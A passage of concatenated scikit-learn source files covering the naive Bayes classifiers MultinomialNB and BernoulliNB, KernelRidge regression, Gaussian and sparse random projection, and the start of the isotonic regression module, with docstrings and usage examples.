            Y *= check_array(sample_weight).T

        class_prior = self.class_prior

        # Count raw events from data before updating the class log prior
        # and feature log probas
        n_effective_classes = Y.shape[1]
        self.class_count_ = np.zeros(n_effective_classes, dtype=np.float64)
        self.feature_count_ = np.zeros((n_effective_classes, n_features),
                                       dtype=np.float64)
        self._count(X, Y)
        self._update_feature_log_prob()
        self._update_class_log_prior(class_prior=class_prior)
        return self

    # XXX The following is a stopgap measure; we need to set the dimensions
    # of class_log_prior_ and feature_log_prob_ correctly.
    def _get_coef(self):
        return (self.feature_log_prob_[1:]
                if len(self.classes_) == 2 else self.feature_log_prob_)

    def _get_intercept(self):
        return (self.class_log_prior_[1:]
                if len(self.classes_) == 2 else self.class_log_prior_)

    coef_ = property(_get_coef)
    intercept_ = property(_get_intercept)


class MultinomialNB(BaseDiscreteNB):
    """
    Naive Bayes classifier for multinomial models

    The multinomial Naive Bayes classifier is suitable for classification with
    discrete features (e.g., word counts for text classification). The
    multinomial distribution normally requires integer feature counts. However,
    in practice, fractional counts such as tf-idf may also work.

    Read more in the :ref:`User Guide <multinomial_naive_bayes>`.

    Parameters
    ----------
    alpha : float, optional (default=1.0)
        Additive (Laplace/Lidstone) smoothing parameter
        (0 for no smoothing).

    fit_prior : boolean, optional (default=True)
        Whether to learn class prior probabilities or not.
        If false, a uniform prior will be used.

    class_prior : array-like, size (n_classes,), optional (default=None)
        Prior probabilities of the classes. If specified the priors are not
        adjusted according to the data.

    Attributes
    ----------
    class_log_prior_ : array, shape (n_classes, )
        Smoothed empirical log probability for each class.

    intercept_ : property
        Mirrors ``class_log_prior_`` for interpreting MultinomialNB
        as a linear model.

    feature_log_prob_ : array, shape (n_classes, n_features)
        Empirical log probability of features
        given a class, ``P(x_i|y)``.

    coef_ : property
        Mirrors ``feature_log_prob_`` for interpreting MultinomialNB
        as a linear model.

    class_count_ : array, shape (n_classes,)
        Number of samples encountered for each class during fitting. This
        value is weighted by the sample weight when provided.

    feature_count_ : array, shape (n_classes, n_features)
        Number of samples encountered for each (class, feature)
        during fitting. This value is weighted by the sample weight when
        provided.

    Examples
    --------
    >>> import numpy as np
    >>> X = np.random.randint(5, size=(6, 100))
    >>> y = np.array([1, 2, 3, 4, 5, 6])
    >>> from sklearn.naive_bayes import MultinomialNB
    >>> clf = MultinomialNB()
    >>> clf.fit(X, y)
    MultinomialNB(alpha=1.0, class_prior=None, fit_prior=True)
    >>> print(clf.predict(X[2:3]))
    [3]

    Notes
    -----
    For the rationale behind the names `coef_` and `intercept_`, i.e.
    naive Bayes as a linear classifier, see J. Rennie et al. (2003),
    Tackling the poor assumptions of naive Bayes text classifiers, ICML.

    References
    ----------
    C.D. Manning, P. Raghavan and H. Schuetze (2008). Introduction to
    Information Retrieval. Cambridge University Press, pp. 234-265.
    http://nlp.stanford.edu/IR-book/html/htmledition/naive-bayes-text-classification-1.html
    """

    def __init__(self, alpha=1.0, fit_prior=True, class_prior=None):
        self.alpha = alpha
        self.fit_prior = fit_prior
        self.class_prior = class_prior

    def _count(self, X, Y):
        """Count and smooth feature occurrences."""
        if np.any((X.data if issparse(X) else X) < 0):
            raise ValueError("Input X must be non-negative")
        self.feature_count_ += safe_sparse_dot(Y.T, X)
        self.class_count_ += Y.sum(axis=0)

    def _update_feature_log_prob(self):
        """Apply smoothing to raw counts and recompute log probabilities"""
        smoothed_fc = self.feature_count_ + self.alpha
        smoothed_cc = smoothed_fc.sum(axis=1)

        self.feature_log_prob_ = (np.log(smoothed_fc) -
                                  np.log(smoothed_cc.reshape(-1, 1)))

    def _joint_log_likelihood(self, X):
        """Calculate the posterior log probability of the samples X"""
        check_is_fitted(self, "classes_")

        X = check_array(X, accept_sparse='csr')
        return (safe_sparse_dot(X, self.feature_log_prob_.T) +
                self.class_log_prior_)


class BernoulliNB(BaseDiscreteNB):
    """Naive Bayes classifier for multivariate Bernoulli models.

    Like MultinomialNB, this classifier is suitable for discrete data. The
    difference is that while MultinomialNB works with occurrence counts,
    BernoulliNB is designed for binary/boolean features.

    Read more in the :ref:`User Guide <bernoulli_naive_bayes>`.

    Parameters
    ----------
    alpha : float, optional (default=1.0)
        Additive (Laplace/Lidstone) smoothing parameter
        (0 for no smoothing).

    binarize : float or None, optional (default=0.0)
        Threshold for binarizing (mapping to booleans) of sample features.
        If None, input is presumed to already consist of binary vectors.

    fit_prior : boolean, optional (default=True)
        Whether to learn class prior probabilities or not.
        If false, a uniform prior will be used.

    class_prior : array-like, size=[n_classes,], optional (default=None)
        Prior probabilities of the classes. If specified the priors are not
        adjusted according to the data.

    Attributes
    ----------
    class_log_prior_ : array, shape = [n_classes]
        Log probability of each class (smoothed).

    feature_log_prob_ : array, shape = [n_classes, n_features]
        Empirical log probability of features given a class, P(x_i|y).

    class_count_ : array, shape = [n_classes]
        Number of samples encountered for each class during fitting. This
        value is weighted by the sample weight when provided.

    feature_count_ : array, shape = [n_classes, n_features]
        Number of samples encountered for each (class, feature)
        during fitting. This value is weighted by the sample weight when
        provided.

    Examples
    --------
    >>> import numpy as np
    >>> X = np.random.randint(2, size=(6, 100))
    >>> Y = np.array([1, 2, 3, 4, 4, 5])
    >>> from sklearn.naive_bayes import BernoulliNB
    >>> clf = BernoulliNB()
    >>> clf.fit(X, Y)
    BernoulliNB(alpha=1.0, binarize=0.0, class_prior=None, fit_prior=True)
    >>> print(clf.predict(X[2:3]))
    [3]

    References
    ----------

    C.D. Manning, P. Raghavan and H. Schuetze (2008). Introduction to
    Information Retrieval. Cambridge University Press, pp. 234-265.
    http://nlp.stanford.edu/IR-book/html/htmledition/the-bernoulli-model-1.html

    A. McCallum and K. Nigam (1998). A comparison of event models for naive
    Bayes text classification. Proc. AAAI/ICML-98 Workshop on Learning for
    Text Categorization, pp. 41-48.

    V. Metsis, I. Androutsopoulos and G. Paliouras (2006). Spam filtering with
    naive Bayes -- Which naive Bayes? 3rd Conf. on Email and Anti-Spam (CEAS).
    """

    def __init__(self, alpha=1.0, binarize=.0, fit_prior=True,
                 class_prior=None):
        self.alpha = alpha
        self.binarize = binarize
        self.fit_prior = fit_prior
        self.class_prior = class_prior

    def _count(self, X, Y):
        """Count and smooth feature occurrences."""
        if self.binarize is not None:
            X = binarize(X, threshold=self.binarize)
        self.feature_count_ += safe_sparse_dot(Y.T, X)
        self.class_count_ += Y.sum(axis=0)

    def _update_feature_log_prob(self):
        """Apply smoothing to raw counts and recompute log probabilities"""
        smoothed_fc = self.feature_count_ + self.alpha
        smoothed_cc = self.class_count_ + self.alpha * 2

        self.feature_log_prob_ = (np.log(smoothed_fc) -
                                  np.log(smoothed_cc.reshape(-1, 1)))

    def _joint_log_likelihood(self, X):
        """Calculate the posterior log probability of the samples X"""
        check_is_fitted(self, "classes_")

        X = check_array(X, accept_sparse='csr')

        if self.binarize is not None:
            X = binarize(X, threshold=self.binarize)

        n_classes, n_features = self.feature_log_prob_.shape
        n_samples, n_features_X = X.shape

        if n_features_X != n_features:
            raise ValueError("Expected input with %d features, got %d instead"
                             % (n_features, n_features_X))

        neg_prob = np.log(1 - np.exp(self.feature_log_prob_))
        # Compute  neg_prob · (1 - X).T  as  ∑neg_prob - X · neg_prob
        jll = safe_sparse_dot(X, (self.feature_log_prob_ - neg_prob).T)
        jll += self.class_log_prior_ + neg_prob.sum(axis=1)

        return jll






"""Module :mod:`sklearn.kernel_ridge` implements kernel ridge regression."""

# Authors: Mathieu Blondel <mathieu@mblondel.org>
#          Jan Hendrik Metzen <jhm@informatik.uni-bremen.de>
# License: BSD 3 clause

import numpy as np

from .base import BaseEstimator, RegressorMixin
from .metrics.pairwise import pairwise_kernels
from .linear_model.ridge import _solve_cholesky_kernel
from .utils import check_X_y
from .utils.validation import check_is_fitted


class KernelRidge(BaseEstimator, RegressorMixin):
    """Kernel ridge regression.

    Kernel ridge regression (KRR) combines ridge regression (linear least
    squares with l2-norm regularization) with the kernel trick. It thus
    learns a linear function in the space induced by the respective kernel and
    the data. For non-linear kernels, this corresponds to a non-linear
    function in the original space.

    The form of the model learned by KRR is identical to support vector
    regression (SVR). However, different loss functions are used: KRR uses
    squared error loss while support vector regression uses epsilon-insensitive
    loss, both combined with l2 regularization. In contrast to SVR, fitting a
    KRR model can be done in closed-form and is typically faster for
    medium-sized datasets. On the other  hand, the learned model is non-sparse
    and thus slower than SVR, which learns a sparse model for epsilon > 0, at
    prediction-time.

    This estimator has built-in support for multi-variate regression
    (i.e., when y is a 2d-array of shape [n_samples, n_targets]).

    Read more in the :ref:`User Guide <kernel_ridge>`.

    Parameters
    ----------
    alpha : {float, array-like}, shape = [n_targets]
        Small positive values of alpha improve the conditioning of the problem
        and reduce the variance of the estimates.  Alpha corresponds to
        ``(2*C)^-1`` in other linear models such as LogisticRegression or
        LinearSVC. If an array is passed, penalties are assumed to be specific
        to the targets. Hence they must correspond in number.

    kernel : string or callable, default="linear"
        Kernel mapping used internally. A callable should accept two arguments
        and the keyword arguments passed to this object as kernel_params, and
        should return a floating point number.

    gamma : float, default=None
        Gamma parameter for the RBF, laplacian, polynomial, exponential chi2
        and sigmoid kernels. Interpretation of the default value is left to
        the kernel; see the documentation for sklearn.metrics.pairwise.
        Ignored by other kernels.

    degree : float, default=3
        Degree of the polynomial kernel. Ignored by other kernels.

    coef0 : float, default=1
        Zero coefficient for polynomial and sigmoid kernels.
        Ignored by other kernels.

    kernel_params : mapping of string to any, optional
        Additional parameters (keyword arguments) for kernel function passed
        as callable object.

    Attributes
    ----------
    dual_coef_ : array, shape = [n_features] or [n_targets, n_features]
        Weight vector(s) in kernel space

    X_fit_ : {array-like, sparse matrix}, shape = [n_samples, n_features]
        Training data, which is also required for prediction

    References
    ----------
    * Kevin P. Murphy
      "Machine Learning: A Probabilistic Perspective", The MIT Press
      chapter 14.4.3, pp. 492-493

    See also
    --------
    Ridge
        Linear ridge regression.
    SVR
        Support Vector Regression implemented using libsvm.

    Examples
    --------
    >>> from sklearn.kernel_ridge import KernelRidge
    >>> import numpy as np
    >>> n_samples, n_features = 10, 5
    >>> rng = np.random.RandomState(0)
    >>> y = rng.randn(n_samples)
    >>> X = rng.randn(n_samples, n_features)
    >>> clf = KernelRidge(alpha=1.0)
    >>> clf.fit(X, y) # doctest: +NORMALIZE_WHITESPACE
    KernelRidge(alpha=1.0, coef0=1, degree=3, gamma=None, kernel='linear',
                kernel_params=None)
    """
    def __init__(self, alpha=1, kernel="linear", gamma=None, degree=3, coef0=1,
                 kernel_params=None):
        self.alpha = alpha
        self.kernel = kernel
        self.gamma = gamma
        self.degree = degree
        self.coef0 = coef0
        self.kernel_params = kernel_params

    def _get_kernel(self, X, Y=None):
        if callable(self.kernel):
            params = self.kernel_params or {}
        else:
            params = {"gamma": self.gamma,
                      "degree": self.degree,
                      "coef0": self.coef0}
        return pairwise_kernels(X, Y, metric=self.kernel,
                                filter_params=True, **params)

    @property
    def _pairwise(self):
        return self.kernel == "precomputed"

    def fit(self, X, y=None, sample_weight=None):
        """Fit Kernel Ridge regression model

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Training data

        y : array-like, shape = [n_samples] or [n_samples, n_targets]
            Target values

        sample_weight : float or numpy array of shape [n_samples]
            Individual weights for each sample, ignored if None is passed.

        Returns
        -------
        self : returns an instance of self.
        """
        # Convert data
        X, y = check_X_y(X, y, accept_sparse=("csr", "csc"), multi_output=True,
                         y_numeric=True)

        K = self._get_kernel(X)
        alpha = np.atleast_1d(self.alpha)

        ravel = False
        if len(y.shape) == 1:
            y = y.reshape(-1, 1)
            ravel = True

        copy = self.kernel == "precomputed"
        self.dual_coef_ = _solve_cholesky_kernel(K, y, alpha,
                                                 sample_weight,
                                                 copy)
        if ravel:
            self.dual_coef_ = self.dual_coef_.ravel()

        self.X_fit_ = X

        return self

    def predict(self, X):
        """Predict using the kernel ridge model

        Parameters
        ----------
        X : {array-like, sparse matrix}, shape = [n_samples, n_features]
            Samples.

        Returns
        -------
        C : array, shape = [n_samples] or [n_samples, n_targets]
            Returns predicted values.
        """
        check_is_fitted(self, ["X_fit_", "dual_coef_"])
        K = self._get_kernel(X, self.X_fit_)
        return np.dot(K, self.dual_coef_)






# -*- coding: utf8
"""Random Projection transformers

Random Projections are a simple and computationally efficient way to
reduce the dimensionality of the data by trading a controlled amount
of accuracy (as additional variance) for faster processing times and
smaller model sizes.

The dimensions and distribution of Random Projections matrices are
controlled so as to preserve the pairwise distances between any two
samples of the dataset.

The main theoretical result behind the efficiency of random projection is the
`Johnson-Lindenstrauss lemma (quoting Wikipedia)
<https://en.wikipedia.org/wiki/Johnson%E2%80%93Lindenstrauss_lemma>`_:

  In mathematics, the Johnson-Lindenstrauss lemma is a result
  concerning low-distortion embeddings of points from high-dimensional
  into low-dimensional Euclidean space. The lemma states that a small set
  of points in a high-dimensional space can be embedded into a space of
  much lower dimension in such a way that distances between the points are
  nearly preserved. The map used for the embedding is at least Lipschitz,
  and can even be taken to be an orthogonal projection.

"""
# Authors: Olivier Grisel <olivier.grisel@ensta.org>,
#          Arnaud Joly <a.joly@ulg.ac.be>
# License: BSD 3 clause

from __future__ import division
import warnings
from abc import ABCMeta, abstractmethod

import numpy as np
from numpy.testing import assert_equal
import scipy.sparse as sp

from .base import BaseEstimator, TransformerMixin
from .externals import six
from .externals.six.moves import xrange
from .utils import check_random_state
from .utils.extmath import safe_sparse_dot
from .utils.random import sample_without_replacement
from .utils.validation import check_array
from .exceptions import DataDimensionalityWarning
from .exceptions import NotFittedError


__all__ = ["SparseRandomProjection",
           "GaussianRandomProjection",
           "johnson_lindenstrauss_min_dim"]


def johnson_lindenstrauss_min_dim(n_samples, eps=0.1):
    """Find a 'safe' number of components to randomly project to

    The distortion introduced by a random projection `p` only changes the
    distance between two points by a factor (1 +- eps) in an euclidean space
    with good probability. The projection `p` is an eps-embedding as defined
    by:

      (1 - eps) ||u - v||^2 < ||p(u) - p(v)||^2 < (1 + eps) ||u - v||^2

    Where u and v are any rows taken from a dataset of shape [n_samples,
    n_features], eps is in ]0, 1[ and p is a projection by a random Gaussian
    N(0, 1) matrix with shape [n_components, n_features] (or a sparse
    Achlioptas matrix).

    The minimum number of components to guarantee the eps-embedding is
    given by:

      n_components >= 4 log(n_samples) / (eps^2 / 2 - eps^3 / 3)

    Note that the number of dimensions is independent of the original
    number of features but instead depends on the size of the dataset:
    the larger the dataset, the higher is the minimal dimensionality of
    an eps-embedding.

    Read more in the :ref:`User Guide <johnson_lindenstrauss>`.

    Parameters
    ----------
    n_samples : int or numpy array of int greater than 0,
        Number of samples. If an array is given, it will compute
        a safe number of components array-wise.

    eps : float or numpy array of float in ]0,1[, optional (default=0.1)
        Maximum distortion rate as defined by the Johnson-Lindenstrauss lemma.
        If an array is given, it will compute a safe number of components
        array-wise.

    Returns
    -------
    n_components : int or numpy array of int,
        The minimal number of components to guarantee with good probability
        an eps-embedding with n_samples.

    Examples
    --------

    >>> johnson_lindenstrauss_min_dim(1e6, eps=0.5)
    663

    >>> johnson_lindenstrauss_min_dim(1e6, eps=[0.5, 0.1, 0.01])
    array([    663,   11841, 1112658])

    >>> johnson_lindenstrauss_min_dim([1e4, 1e5, 1e6], eps=0.1)
    array([ 7894,  9868, 11841])

    References
    ----------

    .. [1] https://en.wikipedia.org/wiki/Johnson%E2%80%93Lindenstrauss_lemma

    .. [2] Sanjoy Dasgupta and Anupam Gupta, 1999,
           "An elementary proof of the Johnson-Lindenstrauss Lemma."
           http://citeseer.ist.psu.edu/viewdoc/summary?doi=10.1.1.45.3654

    """
    eps = np.asarray(eps)
    n_samples = np.asarray(n_samples)

    if np.any(eps <= 0.0) or np.any(eps >= 1):
        raise ValueError(
            "The JL bound is defined for eps in ]0, 1[, got %r" % eps)

    if np.any(n_samples) <= 0:
        raise ValueError(
            "The JL bound is defined for n_samples greater than zero, got %r"
            % n_samples)

    denominator = (eps ** 2 / 2) - (eps ** 3 / 3)
    return (4 * np.log(n_samples) / denominator).astype(np.int)


def _check_density(density, n_features):
    """Factorize density check according to Li et al."""
    if density == 'auto':
        density = 1 / np.sqrt(n_features)

    elif density <= 0 or density > 1:
        raise ValueError("Expected density in range ]0, 1], got: %r"
                         % density)
    return density


def _check_input_size(n_components, n_features):
    """Factorize argument checking for random matrix generation"""
    if n_components <= 0:
        raise ValueError("n_components must be strictly positive, got %d" %
                         n_components)
    if n_features <= 0:
        raise ValueError("n_features must be strictly positive, got %d" %
                         n_components)


def gaussian_random_matrix(n_components, n_features, random_state=None):
    """ Generate a dense Gaussian random matrix.

    The components of the random matrix are drawn from

        N(0, 1.0 / n_components).

    Read more in the :ref:`User Guide <gaussian_random_matrix>`.

    Parameters
    ----------
    n_components : int,
        Dimensionality of the target projection space.

    n_features : int,
        Dimensionality of the original source space.

    random_state : int, RandomState instance or None (default=None)
        Control the pseudo random number generator used to generate the
        matrix at fit time.

    Returns
    -------
    components : numpy array of shape [n_components, n_features]
        The generated Gaussian random matrix.

    See Also
    --------
    GaussianRandomProjection
    sparse_random_matrix
    """
    _check_input_size(n_components, n_features)
    rng = check_random_state(random_state)
    components = rng.normal(loc=0.0,
                            scale=1.0 / np.sqrt(n_components),
                            size=(n_components, n_features))
    return components


def sparse_random_matrix(n_components, n_features, density='auto',
                         random_state=None):
    """Generalized Achlioptas random sparse matrix for random projection

    Setting density to 1 / 3 will yield the original matrix by Dimitris
    Achlioptas while setting a lower value will yield the generalization
    by Ping Li et al.

    If we note :math:`s = 1 / density`, the components of the random matrix are
    drawn from:

      - -sqrt(s) / sqrt(n_components)   with probability 1 / 2s
      -  0                              with probability 1 - 1 / s
      - +sqrt(s) / sqrt(n_components)   with probability 1 / 2s

    Read more in the :ref:`User Guide <sparse_random_matrix>`.

    Parameters
    ----------
    n_components : int,
        Dimensionality of the target projection space.

    n_features : int,
        Dimensionality of the original source space.

    density : float in range ]0, 1] or 'auto', optional (default='auto')
        Ratio of non-zero component in the random projection matrix.

        If density = 'auto', the value is set to the minimum density
        as recommended by Ping Li et al.: 1 / sqrt(n_features).

        Use density = 1 / 3.0 if you want to reproduce the results from
        Achlioptas, 2001.

    random_state : integer, RandomState instance or None (default=None)
        Control the pseudo random number generator used to generate the
        matrix at fit time.

    Returns
    -------
    components: numpy array or CSR matrix with shape [n_components, n_features]
        The generated Gaussian random matrix.

    See Also
    --------
    SparseRandomProjection
    gaussian_random_matrix

    References
    ----------

    .. [1] Ping Li, T. Hastie and K. W. Church, 2006,
           "Very Sparse Random Projections".
           http://web.stanford.edu/~hastie/Papers/Ping/KDD06_rp.pdf

    .. [2] D. Achlioptas, 2001, "Database-friendly random projections",
           http://www.cs.ucsc.edu/~optas/papers/jl.pdf

    """
    _check_input_size(n_components, n_features)
    density = _check_density(density, n_features)
    rng = check_random_state(random_state)

    if density == 1:
        # skip index generation if totally dense
        components = rng.binomial(1, 0.5, (n_components, n_features)) * 2 - 1
        return 1 / np.sqrt(n_components) * components

    else:
        # Generate location of non zero elements
        indices = []
        offset = 0
        indptr = [offset]
        for i in xrange(n_components):
            # find the indices of the non-zero components for row i
            n_nonzero_i = rng.binomial(n_features, density)
            indices_i = sample_without_replacement(n_features, n_nonzero_i,
                                                   random_state=rng)
            indices.append(indices_i)
            offset += n_nonzero_i
            indptr.append(offset)

        indices = np.concatenate(indices)

        # Among non zero components the probability of the sign is 50%/50%
        data = rng.binomial(1, 0.5, size=np.size(indices)) * 2 - 1

        # build the CSR structure by concatenating the rows
        components = sp.csr_matrix((data, indices, indptr),
                                   shape=(n_components, n_features))

        return np.sqrt(1 / density) / np.sqrt(n_components) * components


class BaseRandomProjection(six.with_metaclass(ABCMeta, BaseEstimator,
                                              TransformerMixin)):
    """Base class for random projections.

    Warning: This class should not be used directly.
    Use derived classes instead.
    """

    @abstractmethod
    def __init__(self, n_components='auto', eps=0.1, dense_output=False,
                 random_state=None):
        self.n_components = n_components
        self.eps = eps
        self.dense_output = dense_output
        self.random_state = random_state

        self.components_ = None
        self.n_components_ = None

    @abstractmethod
    def _make_random_matrix(n_components, n_features):
        """ Generate the random projection matrix

        Parameters
        ----------
        n_components : int,
            Dimensionality of the target projection space.

        n_features : int,
            Dimensionality of the original source space.

        Returns
        -------
        components : numpy array or CSR matrix [n_components, n_features]
            The generated random matrix.

        """

    def fit(self, X, y=None):
        """Generate a sparse random projection matrix

        Parameters
        ----------
        X : numpy array or scipy.sparse of shape [n_samples, n_features]
            Training set: only the shape is used to find optimal random
            matrix dimensions based on the theory referenced in the
            afore mentioned papers.

        y : is not used: placeholder to allow for usage in a Pipeline.

        Returns
        -------
        self

        """
        X = check_array(X, accept_sparse=['csr', 'csc'])

        n_samples, n_features = X.shape

        if self.n_components == 'auto':
            self.n_components_ = johnson_lindenstrauss_min_dim(
                n_samples=n_samples, eps=self.eps)

            if self.n_components_ <= 0:
                raise ValueError(
                    'eps=%f and n_samples=%d lead to a target dimension of '
                    '%d which is invalid' % (
                        self.eps, n_samples, self.n_components_))

            elif self.n_components_ > n_features:
                raise ValueError(
                    'eps=%f and n_samples=%d lead to a target dimension of '
                    '%d which is larger than the original space with '
                    'n_features=%d' % (self.eps, n_samples, self.n_components_,
                                       n_features))
        else:
            if self.n_components <= 0:
                raise ValueError("n_components must be greater than 0, got %s"
                                 % self.n_components_)

            elif self.n_components > n_features:
                warnings.warn(
                    "The number of components is higher than the number of"
                    " features: n_features < n_components (%s < %s)."
                    "The dimensionality of the problem will not be reduced."
                    % (n_features, self.n_components),
                    DataDimensionalityWarning)

            self.n_components_ = self.n_components

        # Generate a projection matrix of size [n_components, n_features]
        self.components_ = self._make_random_matrix(self.n_components_,
                                                    n_features)

        # Check contract
        assert_equal(
            self.components_.shape,
            (self.n_components_, n_features),
            err_msg=('An error has occurred the self.components_ matrix has '
                     ' not the proper shape.'))

        return self

    def transform(self, X, y=None):
        """Project the data by using matrix product with the random matrix

        Parameters
        ----------
        X : numpy array or scipy.sparse of shape [n_samples, n_features]
            The input data to project into a smaller dimensional space.

        y : is not used: placeholder to allow for usage in a Pipeline.

        Returns
        -------
        X_new : numpy array or scipy sparse of shape [n_samples, n_components]
            Projected array.

        """
        X = check_array(X, accept_sparse=['csr', 'csc'])

        if self.components_ is None:
            raise NotFittedError('No random projection matrix had been fit.')

        if X.shape[1] != self.components_.shape[1]:
            raise ValueError(
                'Impossible to perform projection:'
                'X at fit stage had a different number of features. '
                '(%s != %s)' % (X.shape[1], self.components_.shape[1]))

        X_new = safe_sparse_dot(X, self.components_.T,
                                dense_output=self.dense_output)
        return X_new


class GaussianRandomProjection(BaseRandomProjection):
    """Reduce dimensionality through Gaussian random projection

    The components of the random matrix are drawn from N(0, 1 / n_components).

    Read more in the :ref:`User Guide <gaussian_random_matrix>`.

    Parameters
    ----------
    n_components : int or 'auto', optional (default = 'auto')
        Dimensionality of the target projection space.

        n_components can be automatically adjusted according to the
        number of samples in the dataset and the bound given by the
        Johnson-Lindenstrauss lemma. In that case the quality of the
        embedding is controlled by the ``eps`` parameter.

        It should be noted that Johnson-Lindenstrauss lemma can yield
        very conservative estimated of the required number of components
        as it makes no assumption on the structure of the dataset.

    eps : strictly positive float, optional (default=0.1)
        Parameter to control the quality of the embedding according to
        the Johnson-Lindenstrauss lemma when n_components is set to
        'auto'.

        Smaller values lead to better embedding and higher number of
        dimensions (n_components) in the target projection space.

    random_state : integer, RandomState instance or None (default=None)
        Control the pseudo random number generator used to generate the
        matrix at fit time.

    Attributes
    ----------
    n_component_ : int
        Concrete number of components computed when n_components="auto".

    components_ : numpy array of shape [n_components, n_features]
        Random matrix used for the projection.

    See Also
    --------
    SparseRandomProjection

    """
    def __init__(self, n_components='auto', eps=0.1, random_state=None):
        super(GaussianRandomProjection, self).__init__(
            n_components=n_components,
            eps=eps,
            dense_output=True,
            random_state=random_state)

    def _make_random_matrix(self, n_components, n_features):
        """ Generate the random projection matrix

        Parameters
        ----------
        n_components : int,
            Dimensionality of the target projection space.

        n_features : int,
            Dimensionality of the original source space.

        Returns
        -------
        components : numpy array or CSR matrix [n_components, n_features]
            The generated random matrix.

        """
        random_state = check_random_state(self.random_state)
        return gaussian_random_matrix(n_components,
                                      n_features,
                                      random_state=random_state)


class SparseRandomProjection(BaseRandomProjection):
    """Reduce dimensionality through sparse random projection

    Sparse random matrix is an alternative to dense random
    projection matrix that guarantees similar embedding quality while being
    much more memory efficient and allowing faster computation of the
    projected data.

    If we note `s = 1 / density` the components of the random matrix are
    drawn from:

      - -sqrt(s) / sqrt(n_components)   with probability 1 / 2s
      -  0                              with probability 1 - 1 / s
      - +sqrt(s) / sqrt(n_components)   with probability 1 / 2s

    Read more in the :ref:`User Guide <sparse_random_matrix>`.

    Parameters
    ----------
    n_components : int or 'auto', optional (default = 'auto')
        Dimensionality of the target projection space.

        n_components can be automatically adjusted according to the
        number of samples in the dataset and the bound given by the
        Johnson-Lindenstrauss lemma. In that case the quality of the
        embedding is controlled by the ``eps`` parameter.

        It should be noted that Johnson-Lindenstrauss lemma can yield
        very conservative estimated of the required number of components
        as it makes no assumption on the structure of the dataset.

    density : float in range ]0, 1], optional (default='auto')
        Ratio of non-zero component in the random projection matrix.

        If density = 'auto', the value is set to the minimum density
        as recommended by Ping Li et al.: 1 / sqrt(n_features).

        Use density = 1 / 3.0 if you want to reproduce the results from
        Achlioptas, 2001.

    eps : strictly positive float, optional, (default=0.1)
        Parameter to control the quality of the embedding according to
        the Johnson-Lindenstrauss lemma when n_components is set to
        'auto'.

        Smaller values lead to better embedding and higher number of
        dimensions (n_components) in the target projection space.

    dense_output : boolean, optional (default=False)
        If True, ensure that the output of the random projection is a
        dense numpy array even if the input and random projection matrix
        are both sparse. In practice, if the number of components is
        small the number of zero components in the projected data will
        be very small and it will be more CPU and memory efficient to
        use a dense representation.

        If False, the projected data uses a sparse representation if
        the input is sparse.

    random_state : integer, RandomState instance or None (default=None)
        Control the pseudo random number generator used to generate the
        matrix at fit time.

    Attributes
    ----------
    n_component_ : int
        Concrete number of components computed when n_components="auto".

    components_ : CSR matrix with shape [n_components, n_features]
        Random matrix used for the projection.

    density_ : float in range 0.0 - 1.0
        Concrete density computed from when density = "auto".

    See Also
    --------
    GaussianRandomProjection

    References
    ----------

    .. [1] Ping Li, T. Hastie and K. W. Church, 2006,
           "Very Sparse Random Projections".
           http://web.stanford.edu/~hastie/Papers/Ping/KDD06_rp.pdf

    .. [2] D. Achlioptas, 2001, "Database-friendly random projections",
           https://users.soe.ucsc.edu/~optas/papers/jl.pdf

    """
    def __init__(self, n_components='auto', density='auto', eps=0.1,
                 dense_output=False, random_state=None):
        super(SparseRandomProjection, self).__init__(
            n_components=n_components,
            eps=eps,
            dense_output=dense_output,
            random_state=random_state)

        self.density = density
        self.density_ = None

    def _make_random_matrix(self, n_components, n_features):
        """ Generate the random projection matrix

        Parameters
        ----------
        n_components : int,
            Dimensionality of the target projection space.

        n_features : int,
            Dimensionality of the original source space.

        Returns
        -------
        components : numpy array or CSR matrix [n_components, n_features]
            The generated random matrix.

        """
        random_state = check_random_state(self.random_state)
        self.density_ = _check_density(self.density, n_features)
        return sparse_random_matrix(n_components,
                                    n_features,
                                    density=self.density_,
                                    random_state=random_state)






# Authors: Fabian Pedregosa <fabian@fseoane.net>
#          Alexandre Gramfort <alexandre.gramfort@inria.fr>
#          Nelle Varoquaux <nelle.varoquaux@gmail.com>
# License: BSD 3 clause

import numpy as np
from scipy import interpolate
from scipy.stats import spearmanr
from .base import BaseEstimator, TransformerMixin, RegressorMixin
from .utils import as_float_array, check_array, check_consistent_length
from .utils import deprecated
from .utils.fixes import astype
from ._isotonic import _isotonic_regression, _make_unique
import warnings
import math


__all__ = ['check_increasing', 'isotonic_regression',
           'IsotonicRegression']


def check_increasing(x, y):
    """Determine whether y is monotonically correlated with x.

    y is found increasing or decreasing with respect to x based on a Spearman
    correlation test.

    Parameters
    ----------
    x : array-like, shape=(n_samples,)
            Training data.

    y : array-like, shape=(n_samples,)
        Training target.

    Returns
    -------
    `increasing_bool` : boolean
        Whether the relationship is increasing or decreasing.

    Notes
    -----
    The Spearman correlation coefficient is estimated from the data, and the
    sign of the resulting estimate is used as the result.

    In the event that the 95% confidence interval based on Fisher transform
    spans zero, a warning is raised.

    References
    ----------
    Fisher transformation. Wikipedia.
    https://en.wikipedia.org/wiki/Fisher_transformation
    """

    # Calculate Spearman rho estimate and set return accordingly.
    rho, _ = spearmanr(x, y)
    increasing_bool = rho >= 0

    # Run Fisher transform to get the rho CI, but handle rho=+/-1
    if rho not in [-1.0, 1.0]:
        F = 0.5 * math.log((1. + rho) / (1. - rho))
        F_se = 1 / math.sqrt(len(x) - 3)

        # Use a 95% CI, i.e., +/-1.96 S.E.
        # https://en.wikipedia.org/wiki/Fisher_transformation
        rho_0 = math.tanh(F - 1.96 * F_se)
        rho_1 = math.tanh(F + 1.96 * F_se)

        # Warn if the CI spans zero.
        if np.sign(rho_0) != np.sign(rho_1):
            warnings.warn("Confidence interval of the Spearman "
                          "correlation coefficient spans zero. "
                          "Determination of ``increasing`` may be "
                          "suspect.")

    return increasing_bool


def isotonic_regression(y, sample_weight=None, y_min=None, y_max=None,
                        increasing=True):
    """Solve the isotonic regression model::

        min sum w[i] (y[i] - y_[i]) ** 2

        subject to y_min = y_[1] <= y_[2] ... <= y_[n] = y_max

    where:
        - y[i] are inputs (real numbers)
        - y_[i] are fitted
        - w[i] are optional strictly positive weights (default to 1.0)

    Read more in the :ref:`User Guide <isotonic>`.

    Parameters
    ----------
    y : iterable of floating-point values
        The data.

    sample_weight : iterable of floating-point values, optional, default: None
        Weights on each point of the regression.
        If None, weight is set to 1 (equal weights).

    y_min : optional, default: None
        If not None, set the lowest value of the fit to y_min.

    y_max : optional, default: None
        If not None, set the highest value of the fit to y_max.

